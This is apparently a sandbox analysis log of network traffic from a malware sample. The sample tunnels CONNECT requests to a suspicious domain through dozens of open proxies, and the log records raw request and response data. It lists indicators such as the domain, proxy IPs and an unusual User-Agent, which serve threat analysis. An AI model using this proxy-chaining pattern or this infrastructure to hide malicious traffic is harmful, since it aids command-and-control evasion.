560	192.168.2.9	52039	104.19.124.112	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.074903011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.230274916 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
561	192.168.2.9	51812	171.247.241.226	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.074971914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
562	192.168.2.9	51918	200.43.231.4	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.075894117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
563	192.168.2.9	52047	162.159.242.252	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.076555967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.237750053 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
564	192.168.2.9	51994	37.235.48.19	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.080091953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
565	192.168.2.9	52063	162.159.241.160	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.080475092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.241664886 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
566	192.168.2.9	52071	162.247.243.167	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.083137035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.246865988 CET	159	IN	HTTP/1.1 400 Bad Request Connection: close Content-Length: 15 content-type: text/plain; charset=utf-8 x-served-by: cache-bur-kbur8200117 Data Raw: 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 Data Ascii: invalid request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
567	192.168.2.9	51973	8.222.239.209	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.084758997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.793849945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
568	192.168.2.9	51884	123.126.158.50	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.090924025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
569	192.168.2.9	51218	190.220.228.147	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.092127085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.137945890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.257175922 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
570	192.168.2.9	52088	104.21.66.184	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.092447042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.246685982 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
571	192.168.2.9	51974	202.162.219.12	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.092888117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
572	192.168.2.9	52087	66.225.246.238	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.098423958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
573	192.168.2.9	52105	45.12.30.231	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.099390030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.253408909 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
574	192.168.2.9	51948	218.57.210.186	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.106179953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.516762972 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 14:03:33 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
575	192.168.2.9	52106	162.159.241.5	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.106973886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.268085003 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
576	192.168.2.9	52118	104.18.254.76	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.107846022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.262017965 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
577	192.168.2.9	52121	185.162.228.48	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.111011982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.265233040 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
578	192.168.2.9	51860	171.250.218.113	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.118051052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
579	192.168.2.9	52150	104.17.50.45	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.136826992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.291928053 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
580	192.168.2.9	52017	72.217.158.202	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.136877060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
581	192.168.2.9	52133	162.159.243.178	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.136881113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.297875881 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
582	192.168.2.9	51981	171.247.245.221	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.137303114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
583	192.168.2.9	52027	24.249.199.12	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.144483089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
584	192.168.2.9	51971	38.54.116.9	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.145998001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.570014954 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
585	192.168.2.9	51654	36.134.25.72	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.169800997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.403340101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:07.226531982 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
586	192.168.2.9	52180	185.238.228.96	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.170187950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
